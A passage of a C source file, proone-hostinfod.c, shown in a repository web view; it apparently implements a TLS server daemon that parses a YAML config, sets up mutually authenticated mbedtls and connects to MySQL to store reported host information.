aboutsummaryrefslogtreecommitdiff
path: root/src/proone-hostinfod.c
blob: e5f45e6a5686a15156769044319d168abfd8470c (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <inttypes.h>
#include <signal.h>

#include <unistd.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <arpa/inet.h>

#include <sys/sysinfo.h>

#include <yaml.h>
#include <mysql/mysql.h>
#include <mbedtls/ssl.h>
#include <mbedtls/entropy.h>
#include <mbedtls/ctr_drbg.h>
#include <mbedtls/error.h>

#include "util_rt.h"
#include "llist.h"
#include "iobuf.h"
#include "protocol.h"
#include "mbedtls.h"
#include "rnd.h"

#if !defined(MBEDTLS_THREADING_C)
#error "Mbedtls must be compiled with threading support"
#endif


typedef enum {
	CS_HANDSHAKE,
	CS_PROC,
	CS_SHUT,
	CS_CLOSE
} client_state_t;

typedef struct {
	prne_htbt_host_info_t hi;
	struct sockaddr_in6 sa;
} db_qe_t;

typedef struct {
	struct timespec last_op;
	prne_iobuf_t ib[2];
	int sck;
	struct sockaddr_in6 sa;
	mbedtls_ssl_context ssl;
	uint16_t exp_msg_id;
	client_state_t con_state;
	struct {
		bool hi_sent;
		bool hi_received;
	} proto_state;
	char ipaddr_str[INET6_ADDRSTRLEN];
} client_ctx_t;

typedef struct {
	int ihcp[2];
	struct pollfd *pfd;
	prne_rnd_t rnd;
	prne_llist_t p_list;
	prne_llist_t c_list;
	pthread_t th;
	pthread_mutex_t lock;
	bool term;
} th_ctx_t;

typedef struct {
	prne_llist_t q;
	pthread_t th;
	pthread_mutex_t lock;
	pthread_cond_t cv;
	MYSQL c;
	bool term;
} db_ctx_t;

static const uint16_t			DEFCONF_DB_PORT =			3306;
static const size_t				DEFCONF_MAX_CONN =			SIZE_MAX;
static const size_t				DEFCONF_DB_Q_SIZE =			SIZE_MAX;
static const struct timespec	DEFCONF_REPORT_INT =		{ 60, 0 };
static const struct timespec	DEFCONF_SCK_OP_TIMEOUT =	{ 5, 0 };
static const unsigned int		DEFCONF_BACKLOG =			10;
static const int				DEFCONF_VERBOSE =			PRNE_VL_WARN;
static const uint16_t			DEFCONF_LISTEN_PORT =		64420;

struct {
	struct {
		char *host;
		char *db;
		char *user;
		char *pw;
		char *tbl_pfx;
		uint16_t port;
	} db;
	struct {
		char *path_ca;
		char *path_crt;
		char *path_key;
		char *path_dh;
		char *key_pw;
	} ssl;
	size_t max_conn;
	size_t db_q_size;
	struct timespec report_int;
	struct timespec sck_op_timeout;
	unsigned int nb_thread;
	unsigned int backlog;
	int verbose;
	uint16_t listen_port;
} prog_conf;

struct {
	db_ctx_t db_ctx;
	struct {
		mbedtls_x509_crt ca;
		mbedtls_x509_crt crt;
		mbedtls_pk_context key;
		mbedtls_dhm_context dh;
		mbedtls_ssl_config conf;
		mbedtls_entropy_context entropy;
		mbedtls_ctr_drbg_context ctr_drbg;
	} ssl;
	struct {
		pthread_mutex_t lock;
		size_t cnt;
	} conn_ctr;
	pthread_mutex_t stdio_lock;
} prog_g;

static const struct timespec ZERO_TIMESPEC;

static int sigpipe[2] = { -1, -1 };
static uint8_t sewage;


static void print_help (const char *prog, FILE *o) {
	fprintf(
		o,
		"Usage: %s <config>\n",
		prog);
}

static unsigned int get_hwconc (void) {
	return (unsigned int)get_nprocs();
}

static void set_def_prog_param (void) {
	prog_conf.db.tbl_pfx = prne_dup_str("prne-");
	prog_conf.db.port = DEFCONF_DB_PORT;
	prog_conf.max_conn = DEFCONF_MAX_CONN;
	prog_conf.db_q_size = DEFCONF_DB_Q_SIZE;
	prog_conf.report_int = DEFCONF_REPORT_INT;
	prog_conf.sck_op_timeout = DEFCONF_SCK_OP_TIMEOUT;
	prog_conf.nb_thread = get_hwconc();
	prog_conf.backlog = DEFCONF_BACKLOG;
	prog_conf.verbose = DEFCONF_VERBOSE;
	prog_conf.listen_port = DEFCONF_LISTEN_PORT;
}

typedef enum {
	PS_INIT,
	PS_STREAM,
	PS_DOC,
	PS_SEQ_START,
	PS_SEQ,
	PS_MAPPING_START,
	PS_MAPPING_VAL
} parse_state_t;

typedef struct {
	char *path;
	prne_llist_t path_list;
	parse_state_t state;
	bool err;
} parse_context_t;

static void yaml_parse_build_path (parse_context_t *ctx) {
	const char **sb = prne_malloc(sizeof(char*) * 2, ctx->path_list.size);
	size_t ptr = 0;

	for (prne_llist_entry_t *e = ctx->path_list.head; e != NULL; e = e->next) {
		sb[ptr + 0] = "/";
		sb[ptr + 1] = (char*)e->element;
		ptr += 2;
	}

	ctx->path = prne_rebuild_str(ctx->path, sb, ctx->path_list.size * 2);
	assert(ctx->path != NULL);
}

static void yaml_parse_push_path (
	parse_context_t *ctx,
	const yaml_char_t *name)
{
	char *tag;
	prne_llist_entry_t *ent;

	tag = prne_dup_str((const char*)name);
	ent = prne_llist_append(&ctx->path_list, (prne_llist_element_t)tag);
	assert(tag != NULL && ent != NULL);
}

static void yaml_parse_pop_path (parse_context_t *ctx) {
	if (ctx->path_list.size == 0) {
		return;
	}
	prne_free((void*)ctx->path_list.tail->element);
	prne_llist_erase(&ctx->path_list, ctx->path_list.tail);
}

static void yaml_parse_dup_str (char **str, const yaml_char_t *val) {
	prne_free(*str);
	*str = prne_dup_str((const char*)val);
	assert(*str != NULL);
}

static bool yaml_parse_handle_node (
	parse_context_t *ctx,
	const yaml_char_t *val)
{
	if (strcmp(ctx->path, "/hostinfod/db/host") == 0) {
		yaml_parse_dup_str(&prog_conf.db.host, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/db/port") == 0) {
		int tmp;

		ctx->err =
			sscanf((const char*)val, "%d", &tmp) != 1 ||
			!(0 < tmp && tmp <= 65535);
		if (!ctx->err) {
			prog_conf.db.port = (uint16_t)tmp;
		}
	}
	else if (strcmp(ctx->path, "/hostinfod/db/user") == 0) {
		yaml_parse_dup_str(&prog_conf.db.user, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/db/pw") == 0) {
		yaml_parse_dup_str(&prog_conf.db.pw, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/db/db") == 0) {
		yaml_parse_dup_str(&prog_conf.db.db, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/db/table_prefix") == 0) {
		yaml_parse_dup_str(&prog_conf.db.tbl_pfx, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/ssl/ca") == 0) {
		yaml_parse_dup_str(&prog_conf.ssl.path_ca, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/ssl/crt") == 0) {
		yaml_parse_dup_str(&prog_conf.ssl.path_crt, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/ssl/key") == 0) {
		yaml_parse_dup_str(&prog_conf.ssl.path_key, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/ssl/key_pw") == 0) {
		yaml_parse_dup_str(&prog_conf.ssl.key_pw, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/ssl/dh") == 0) {
		yaml_parse_dup_str(&prog_conf.ssl.path_dh, val);
	}
	else if (strcmp(ctx->path, "/hostinfod/max_conn") == 0) {
		ctx->err = sscanf((const char*)val, "%zu", &prog_conf.max_conn) != 1;
	}
	else if (strcmp(ctx->path, "/hostinfod/db_q_size") == 0) {
		ctx->err = sscanf((const char*)val, "%zu", &prog_conf.db_q_size) != 1;
	}
	else if (strcmp(ctx->path, "/hostinfod/report_int") == 0) {
		unsigned long tmp;

		ctx->err = sscanf((const char*)val, "%lu", &tmp) != 1;
		if (!ctx->err) {
			prog_conf.report_int = prne_ms_timespec(tmp);
		}
	}
	else if (strcmp(ctx->path, "/hostinfod/sck_op_timeout") == 0) {
		unsigned long tmp;

		ctx->err = sscanf((const char*)val, "%lu", &tmp) != 1;
		if (!ctx->err) {
			prog_conf.sck_op_timeout = prne_ms_timespec(tmp);
		}
	}
	else if (strcmp(ctx->path, "/hostinfod/nb_thread") == 0) {
		ctx->err = sscanf((const char*)val, "%u", &prog_conf.nb_thread) != 1;
	}
	else if (strcmp(ctx->path, "/hostinfod/backlog") == 0) {
		ctx->err = sscanf((const char*)val, "%u", &prog_conf.backlog) != 1;
	}
	else if (strcmp(ctx->path, "/hostinfod/listen_port") == 0) {
		ctx->err = sscanf(
			(const char*)val,
			"%"SCNu16,
			&prog_conf.listen_port) != 1;
	}
	else if (strcmp(ctx->path, "/hostinfod/verbose") == 0) {
		ctx->err = sscanf((const char*)val, "%d", &prog_conf.verbose) != 1;
	}

	return true;
}

static void yaml_parse_handle_doc (
	parse_context_t *ctx,
	const yaml_event_t *event)
{
	switch (event->type) {
	case YAML_SEQUENCE_START_EVENT:
		ctx->state = PS_SEQ_START;
		break;
	case YAML_MAPPING_START_EVENT:
		ctx->state = PS_MAPPING_START;
		break;
	case YAML_SCALAR_EVENT:
		switch (ctx->state) {
		case PS_SEQ_START:
			yaml_parse_push_path(ctx, event->data.scalar.value);
			ctx->state = PS_SEQ;
			break;
		case PS_MAPPING_START:
			yaml_parse_push_path(ctx, event->data.scalar.value);
			ctx->state = PS_MAPPING_VAL;
			break;
		case PS_SEQ:
			break;
		case PS_MAPPING_VAL:
			yaml_parse_build_path(ctx);
			yaml_parse_handle_node(ctx, event->data.scalar.value);
			yaml_parse_pop_path(ctx);
			ctx->state = PS_MAPPING_START;
			break;
		}
		break;
	case YAML_SEQUENCE_END_EVENT:
	case YAML_MAPPING_END_EVENT:
		yaml_parse_pop_path(ctx);
		ctx->state = PS_MAPPING_START;
		break;
	case YAML_DOCUMENT_END_EVENT:
		ctx->state = PS_STREAM;
		break;
	default: abort();
	}
}

static bool yaml_parse_func (
	parse_context_t *ctx,
	const yaml_event_t *event)
{
	switch (ctx->state) {
	case PS_INIT:
		assert(event->type == YAML_STREAM_START_EVENT);
		ctx->state = PS_STREAM;
		break;
	case PS_STREAM:
		if (event->type == YAML_STREAM_END_EVENT) {
			return false;
		}
		ctx->state = PS_DOC;
		assert(event->type == YAML_DOCUMENT_START_EVENT);
		break;
	default:
		yaml_parse_handle_doc(ctx, event);
	}

	return true;
}

static bool load_conf (FILE *file) {
	yaml_parser_t parser;
	yaml_event_t event;
	parse_context_t p_ctx;
	bool p_ret;

	prne_memzero(&p_ctx, sizeof(parse_context_t));
	prne_init_llist(&p_ctx.path_list);

	if (yaml_parser_initialize(&parser) == 0) {
		fprintf(
			stderr,
			"*** YAML error: %s\n",
			parser.problem);
		abort();
	}

	yaml_parser_set_input_file(&parser, file);
	do {
		if (yaml_parser_parse(&parser, &event) == 0) {
			fprintf(
				stderr,
				"*** YAML parse error %zu:%zu: %s\n",
				parser.problem_mark.line,
				parser.problem_mark.column,
				parser.problem);
			p_ctx.err = true;
			break;
		}
		p_ret = yaml_parse_func(&p_ctx, &event);
		if (p_ctx.err) {
			fprintf(
				stderr,
				"*** Config error %zu:%zu: invalid value\n",
				parser.mark.line,
				parser.mark.column);
			break;
		}
		yaml_event_delete(&event);
	} while (p_ret);

	yaml_parser_delete(&parser);
	for (prne_llist_entry_t *e = p_ctx.path_list.head; e != NULL; e = e->next) {
		prne_free((void*)e->element);
	}
	prne_free_llist(&p_ctx.path_list);
	prne_free(p_ctx.path);

	return !p_ctx.err;
}

static int setup_conf (const char *conf_path) {
#define ERR_BREAK(msg, expr) \
	if (!(expr)) { \
		err_msg = (msg);\
		break;\
	}
	bool f_ret;
	const char *err_msg = NULL;
	FILE *file = fopen(conf_path, "r");

	if (file == NULL) {
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			perror(conf_path);
		}
		return 1;
	}

	set_def_prog_param();
	f_ret = load_conf(file);
	fclose(file);

	if (!f_ret) {
		return 2;
	}

	do {
		ERR_BREAK("`db.host` not set", prne_nstrlen(prog_conf.db.host) > 0);
		ERR_BREAK("`db.db` not set", prne_nstrlen(prog_conf.db.db) > 0);
		ERR_BREAK("`db.user` not set", prne_nstrlen(prog_conf.db.user) > 0);
		ERR_BREAK("invalid `db.port`", prog_conf.db.port > 0);
		ERR_BREAK("`ssl.ca` not set", prne_nstrlen(prog_conf.ssl.path_ca) > 0);
		ERR_BREAK(
			"`ssl.crt` not set",
			prne_nstrlen(prog_conf.ssl.path_crt) > 0);
		ERR_BREAK(
			"`ssl.key` not set",
			prne_nstrlen(prog_conf.ssl.path_key) > 0);
		ERR_BREAK("`ssl.dh` not set", prne_nstrlen(prog_conf.ssl.path_dh) > 0);
		ERR_BREAK("invalid `max_conn`", prog_conf.max_conn > 0);
		ERR_BREAK("invalid `db_q_size`", prog_conf.db_q_size > 0);
		ERR_BREAK(
			"invalid `sck_op_timeout`",
			prne_cmp_timespec(prog_conf.sck_op_timeout, ZERO_TIMESPEC) > 0);
		ERR_BREAK("invalid `nb_thread`", prog_conf.nb_thread > 0);
		ERR_BREAK("invalid `backlog`", prog_conf.backlog > 0);
		ERR_BREAK("invalid `listen_port`", prog_conf.listen_port > 0);
	} while (false);
	if (err_msg != NULL) {
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			fprintf(stderr, "*** Config error: %s\n", err_msg);
		}
		return 2;
	}

	return 0;
#undef ERR_BREAK
}

static void free_conf (void) {
	prne_free(prog_conf.db.host);
	prne_free(prog_conf.db.db);
	prne_free(prog_conf.db.user);
	prne_free(prog_conf.db.pw);
	prne_free(prog_conf.db.tbl_pfx);
	prne_free(prog_conf.ssl.path_ca);
	prne_free(prog_conf.ssl.path_crt);
	prne_free(prog_conf.ssl.path_key);
	prne_free(prog_conf.ssl.path_dh);
	prne_free(prog_conf.ssl.key_pw);
}

static int prep_socket (void) {
	const int ret = socket(AF_INET6, SOCK_STREAM, 0);
	struct sockaddr_in6 sa;
	int ov;

	if (ret < 0 || !prne_sck_fcntl(ret)) {
		goto ERR;
	}

	ov = 1;
	setsockopt(ret, SOL_SOCKET, SO_REUSEADDR, &ov, sizeof(ov));
	if (!prne_sck_fcntl(ret)) {
		goto ERR;
	}

	prne_memzero(&sa, sizeof(sa));
	sa.sin6_family = AF_INET6;
	// sa.sin6_addr = in6addr_any;
	sa.sin6_port = htons(prog_conf.listen_port);

	if (bind(ret, (const struct sockaddr*)&sa, sizeof(sa)) != 0) {
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			perror("*** bind()");
		}
		goto ERR;
	}
	if (listen(ret, prog_conf.backlog) != 0) {
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			perror("*** listen()");
		}
		goto ERR;
	}

	return ret;
ERR:
	prne_close(ret);
	return -1;
}

static void report_mysql_err (MYSQL *c) {
	pthread_mutex_lock(&prog_g.stdio_lock);
	fprintf(stderr, "* MySQL: %s\n", mysql_error(c));
	pthread_mutex_unlock(&prog_g.stdio_lock);
}

static void sync_perror (const char *msg) {
	pthread_mutex_lock(&prog_g.stdio_lock);
	perror(msg);
	pthread_mutex_unlock(&prog_g.stdio_lock);
}

static int init_global (void) {
#define ERR_BREAK(file, expr) \
	if ((f_ret = (expr)) != 0) {\
		f_name = (file);\
		break;\
	}
	my_bool bov;
	int f_ret;
	const char *f_name = "";

	if (pipe(sigpipe) != 0 ||
		!prne_sck_fcntl(sigpipe[0]) ||
		!prne_sck_fcntl(sigpipe[1]))
	{
		perror("*** pipe()");
		return 1;
	}

	bov = true;
	mysql_options(&prog_g.db_ctx.c, MYSQL_OPT_RECONNECT, &bov);
	mysql_options(&prog_g.db_ctx.c, MYSQL_SET_CHARSET_NAME, "utf8");
	if (mysql_real_connect(
		&prog_g.db_ctx.c,
		prog_conf.db.host,
		prog_conf.db.user,
		prog_conf.db.pw,
		prog_conf.db.db,
		prog_conf.db.port,
		NULL,
		CLIENT_MULTI_STATEMENTS) == NULL)
	{
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			report_mysql_err(&prog_g.db_ctx.c);
		}
		return 1;
	}

	do {
		static const char *ALPN_ARR[] = {
			PRNE_HTBT_TLS_ALP,
			NULL
		};

		ERR_BREAK(
			prog_conf.ssl.path_ca,
			mbedtls_x509_crt_parse_file(&prog_g.ssl.ca, prog_conf.ssl.path_ca));
		ERR_BREAK(
			prog_conf.ssl.path_crt,
			mbedtls_x509_crt_parse_file(
				&prog_g.ssl.crt,
				prog_conf.ssl.path_crt));
		ERR_BREAK(
			prog_conf.ssl.path_key,
			mbedtls_pk_parse_keyfile(
				&prog_g.ssl.key,
				prog_conf.ssl.path_key,
				prog_conf.ssl.key_pw));
		ERR_BREAK(
			prog_conf.ssl.path_dh,
			mbedtls_dhm_parse_dhmfile(
				&prog_g.ssl.dh,
				prog_conf.ssl.path_dh));

		ERR_BREAK(
			"mbedtls_ssl_config_defaults()",
			mbedtls_ssl_config_defaults(
				&prog_g.ssl.conf,
				MBEDTLS_SSL_IS_SERVER,
				MBEDTLS_SSL_TRANSPORT_STREAM,
				MBEDTLS_SSL_PRESET_DEFAULT));
		ERR_BREAK(
			"mbedtls_ssl_conf_own_cert()",
			mbedtls_ssl_conf_own_cert(
				&prog_g.ssl.conf,
				&prog_g.ssl.crt,
				&prog_g.ssl.key));
		ERR_BREAK(
			"mbedtls_ssl_conf_dh_param_ctx()",
			mbedtls_ssl_conf_dh_param_ctx(
				&prog_g.ssl.conf,
				&prog_g.ssl.dh));
		ERR_BREAK(
			"mbedtls_ssl_conf_alpn_protocols()",
			mbedtls_ssl_conf_alpn_protocols(
				&prog_g.ssl.conf,
				ALPN_ARR));
		mbedtls_ssl_conf_ca_chain(&prog_g.ssl.conf, &prog_g.ssl.ca, NULL);
		mbedtls_ssl_conf_authmode(
			&prog_g.ssl.conf,
			MBEDTLS_SSL_VERIFY_REQUIRED);
		mbedtls_ssl_conf_verify(
			&prog_g.ssl.conf,
			prne_mbedtls_x509_crt_verify_cb,
			NULL);
		mbedtls_ssl_conf_rng(
			&prog_g.ssl.conf,
			mbedtls_ctr_drbg_random,
			&prog_g.ssl.ctr_drbg);

		ERR_BREAK(
			"mbedtls_ctr_drbg_seed()",
			mbedtls_ctr_drbg_seed(
				&prog_g.ssl.ctr_drbg,
				mbedtls_entropy_func,
				&prog_g.ssl.entropy,
				NULL,
				0));
	} while (false);
	if (f_ret != 0) {
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			char str[256];

			str[0] = 0;
			mbedtls_strerror(f_ret, str, sizeof(str));
			fprintf(stderr, "*** %s: %s\n", f_name, str);
		}
